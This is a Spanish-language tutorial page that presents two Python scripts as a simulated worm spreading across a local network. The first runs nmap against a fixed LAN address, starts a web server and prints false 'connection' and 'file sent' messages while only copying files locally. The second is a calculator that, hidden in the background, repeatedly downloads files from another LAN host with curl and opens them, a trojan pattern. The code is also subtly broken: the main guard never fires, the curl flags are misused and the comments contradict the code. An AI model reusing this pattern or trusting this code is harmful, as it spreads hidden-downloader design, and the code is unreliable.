👹INTERACCION CON SISTEMAS LOCAL Y REMOTO - MALWARE - P4Iciente_WORMS_0.py

PACIENTE 0 INFECTADA CON SIMULACION DE MALWARE TIPO WORMS EL CUAL AFECTARA A OTROS PACIENTES DE SU RED LOCAL ESCANEANDO Y ENCONTRANDO PUERTAS ABIERTAS:

// Some code

```python
#!SIMULACION DE PROGRAMA INFECTADO CON MALWARE GUSANO, EL CUAL ESCANEARA LOS PUERTOS Y LOGRARA UNA CONECCION POR UNO QUE ABRIO LA MAQUINA VICTIMA CON UNA APLICACION QUE PRESENTA OTRA VULNERABILIDAD HABRIENDO LA COMUNICACION POR SUS PUERTOS Y LOGRNDO ASI LA PROPAGACION DEL GUSANO EN OTRO DISPOSITIVO DE LA RED LOCAL
#! P4Iciente_WORMS_0.py - By P4IM0N

import subprocess  # Importa la librería subprocess para ejecutar comandos en el sistema.
from tabulate import tabulate  # Importa la función tabulate para formatear los resultados en una tabla.
import os  # Importa la librería os para trabajar con operaciones del sistema operativo.
import shutil  # Importa la librería shutil para operaciones de archivo y directorio.
import pyautogui  # Importa la librería pyautogui para automatizar acciones en la interfaz gráfica.
import http.server  # Importa la librería http.server para crear un servidor web.
import socketserver  # Importa la librería socketserver para manejar conexiones de red.
import threading  # Importa la librería threading para trabajar con hilos de ejecución paralela.


#------------------------------------------------------------
banner = '''

__________  _____ .___       .__               __             __      __________ __________    _____    _________   _______   
\______   \/  |  ||   | ____ |__| ____   _____/  |_  ____    /  \    /  \_____  \______   \  /     \  /   _____/   \   _  \  
 |     ___/   |  ||   |/ ___\|  |/ __ \ /    \   __\/ __ \   \   \/\/   //   |   \|       _/ /  \ /  \ \_____  \    /  /_\  \ 
 |    |  /    ^   /   \  \___|  \  ___/|   |  \  | \  ___/    \        //    |    \    |   \/    Y    \/        \   \  \_/   !
 |____|  \____   ||___|\___  >__|\___  >___|  /__|  \___  >____\__/\  / \_______  /____|_  /\____|__  /_______  /____\_____  /
              |__|         \/        \/     \/          \/_____/    \/          \/       \/         \/        \/_____/     \/ 
'''
print(banner)

#------------------------------------------------------------
# Define una función llamada iniciar_servidor que toma un argumento "puerto".
def iniciar_servidor(puerto):
    Handler = http.server.SimpleHTTPRequestHandler  # Define el manejador de peticiones para el servidor web.

    # Crea un servidor HTTP en el puerto especificado.
    with socketserver.TCPServer(("", puerto), Handler) as httpd:
        print(f"Sirviendo en el puerto {puerto}")  # Imprime un mensaje indicando en qué puerto se está sirviendo.
        httpd.serve_forever()  # Inicia el servidor web y lo mantiene en ejecución indefinidamente.


#------------------------------------------------------------
# Define una función llamada escanear_puertos que toma un argumento "ip".
def escanear_puertos(ip):
    comando = f"nmap -Pn {ip}"  # Define un comando de escaneo de puertos usando la herramienta nmap.
    resultado = subprocess.getoutput(comando)  # Ejecuta el comando y obtiene la salida.

    puertos_abiertos = []  # Crea una lista para almacenar los puertos abiertos.
    for linea in resultado.splitlines():  # Itera sobre las líneas del resultado.
        if "/tcp" in linea and "open" in linea:  # Si la línea contiene "/tcp" y "open":
            partes = linea.split()  # Divide la línea en partes.
            puerto = int(partes[0].split("/")[0])  # Obtiene el número de puerto.
            puertos_abiertos.append(puerto)  # Agrega el puerto a la lista de puertos abiertos.

    return puertos_abiertos  # Devuelve la lista de puertos abiertos.


#------------------------------------------------------------
# Define una función llamada replicar_archivo que toma dos argumentos: "ip_objetivo" y "puerto_objetivo".
def replicar_archivo(ip_objetivo, puerto_objetivo):
    archivo_a_replicar = "gusano_0_0.txt"  # Define el nombre del archivo a replicar.

    try:  # Intenta realizar la siguiente operación:
        print(f"Conexión exitosa al puerto {puerto_objetivo} en {ip_objetivo}")  # Imprime un mensaje de éxito.
        print(f"Archivo '{archivo_a_replicar}' enviado a través del puerto {puerto_objetivo}")  # Imprime información sobre el archivo enviado.

        directorio_destino = os.path.dirname(os.path.abspath(__file__))  # Obtiene el directorio actual del script.
        numero_copias = 5  # Define el número de copias a crear.

        for i in range(numero_copias):  # Itera desde 0 hasta (numero_copias - 1).
            nombre_copia = f"{archivo_a_replicar[:-6]}_{i+1}.txt"  # Genera nombres de copia únicos.
            shutil.copy(archivo_a_replicar, os.path.join(directorio_destino, nombre_copia))  # Copia el archivo a un nuevo nombre.

            if os.path.exists(nombre_copia):  # Si la copia del archivo existe:
                subprocess.run(["xdg-open", os.path.join(directorio_destino, nombre_copia)])  # Abre la copia del archivo.
                pyautogui.sleep(5)  # Espera durante 5 segundos.
                pyautogui.hotkey('alt', 'space')  # Activa la combinación de teclas 'Alt + Espacio'.
                pyautogui.press('x')  # Presiona la tecla 'x' para cerrar la ventana.

    except ConnectionRefusedError:  # Maneja una excepción si no se puede conectar al puerto objetivo.
        print(f"No se pudo conectar al puerto {puerto_objetivo} en {ip_objetivo}")  # Imprime un mensaje de error.

#------------------------------------------------------------
# Define una función llamada mostrar_resultados que toma un argumento "resultados".
def mostrar_resultados(resultados):
    print('//////////////EL INTENTO INGRESAR POR LOS PUERTOS ABIERTOS QUE SE ESCANEARON //////////////')
    headers = ["IP", "Puerto"]  # Define las cabeceras de la tabla.
    print(tabulate(resultados, headers=headers, tablefmt="grid"))  # Imprime los resultados en formato de tabla.

#------------------------------------------------------------
ip_objetivo = "192.168.0.20"  # Define la IP objetivo.

#------------------------------------------------------------
# Crea un nuevo hilo para ejecutar la función iniciar_servidor en segundo plano.
thread_servidor = threading.Thread(target=iniciar_servidor, args=(80,))
thread_servidor.start()

#------------------------------------------------------------
# Escanea los puertos abiertos en la IP objetivo y almacena los resultados.
puertos_abiertos = escanear_puertos(ip_objetivo)

# Replica el archivo en cada puerto abierto.
for puerto in puertos_abiertos:
    replicar_archivo(ip_objetivo, puerto)

# Muestra los resultados en una tabla.
mostrar_resultados([(ip_objetivo, puerto) for puerto in puertos_abiertos])
#------------------------------------------------------------


```

PACIENTE 1 (CALCULADORA INFECTADA) EL CUAL SIMULA TENER UN TROYANO PROBOCANDO UN BACKDOORS POR LO QUE ES PROPAGADO EL MALWARE DE TIPO GUSANO WORMS EN ELLA PROVENIENTE DEL PACIENTE 0 INFECTADO:

// Some code

```python
#!PROGRAMA DE CALCULADORA LA CUAL TIENE UN FALLO DE VULNERABILIDAD LA CUAL SOLICTA ATRAVES DE SU PUERTO DESCARGAS DE ARCHIVO DE OTRA PC EN SU MISMAA RED
#! calculadoraConVULNERAVILIDAD.PY -  bY P4IM0N

import subprocess  # Importa la librería subprocess para ejecutar comandos en el sistema.
import time  # Importa la librería time para trabajar con el tiempo.
import os  # Importa la librería os para trabajar con operaciones del sistema operativo.
import socket  # Importa el módulo socket para obtener la información del puerto local.

# Define una función llamada abrir_calculadora sin argumentos.
def abrir_calculadora():
    # Abre la calculadora en primer plano usando la herramienta "calc.exe".
    subprocess.Popen("calc.exe", shell=True)

# Define una función llamada descargar_archivos que toma dos argumentos: "direccion_ip" y "puerto".
def descargar_archivos(direccion_ip, puerto):
    while True:  # Inicia un bucle infinito.
        for i in range(5):  # Itera desde 0 hasta 4.
            time.sleep(4)  # Espera durante 4 segundos.

            # Crea un nombre de archivo único con el valor de "i".
            nombre_archivo = f"gusano_0_{i}.txt"

            # Obtén el número de puerto local.
            puerto_local = obtener_puerto_local()

            # Imprime el puerto local por el que está llegando la descarga.
            print(f"Descargando archivo a través del puerto local {puerto_local}")

            # Construye un comando de descarga usando "curl" y el nombre de archivo.
            comando = f"curl http://{direccion_ip}:{puerto}/gusano_0_{i}.txt -O {nombre_archivo} "
            
            # Ejecuta el comando de descarga en segundo plano.
            subprocess.Popen(comando, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            
            # Cuando "i" llega a 4, abre el último archivo en primer plano.
            if i == 3:
                os.system(f"start {nombre_archivo}")  # Abre el archivo en primer plano.

# Función para obtener el número de puerto local.
def obtener_puerto_local():
    # Crea un objeto de socket usando IPv4 (AF_INET) y TCP (SOCK_STREAM).
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    # Vincula el socket a la dirección 'localhost' (127.0.0.1) y un puerto efímero asignado automáticamente (0).
    # Cuando se usa 0 como el número de puerto, el sistema operativo elige un puerto disponible automáticamente.
    sock.bind(('localhost', 0))
    
    # Obtiene la información del socket, incluyendo la dirección IP y el número de puerto local.
    _, puerto_local = sock.getsockname()
    
    # Cierra el socket después de obtener la información.
    sock.close()
    
    # Devuelve el número de puerto local que fue asignado automáticamente por el sistema operativo.
    return puerto_local

if __name__ == "main":
    # Entra en esta sección cuando se ejecuta el script directamente (no cuando se importa como módulo).

    # Llama a la función "abrir_calculadora" para abrir la calculadora en primer plano.
    abrir_calculadora()

    # Llama a la función "descargar_archivos" para descargar archivos en segundo plano.
    descargar_archivos('192.168.0.18', 80)


```

Last updated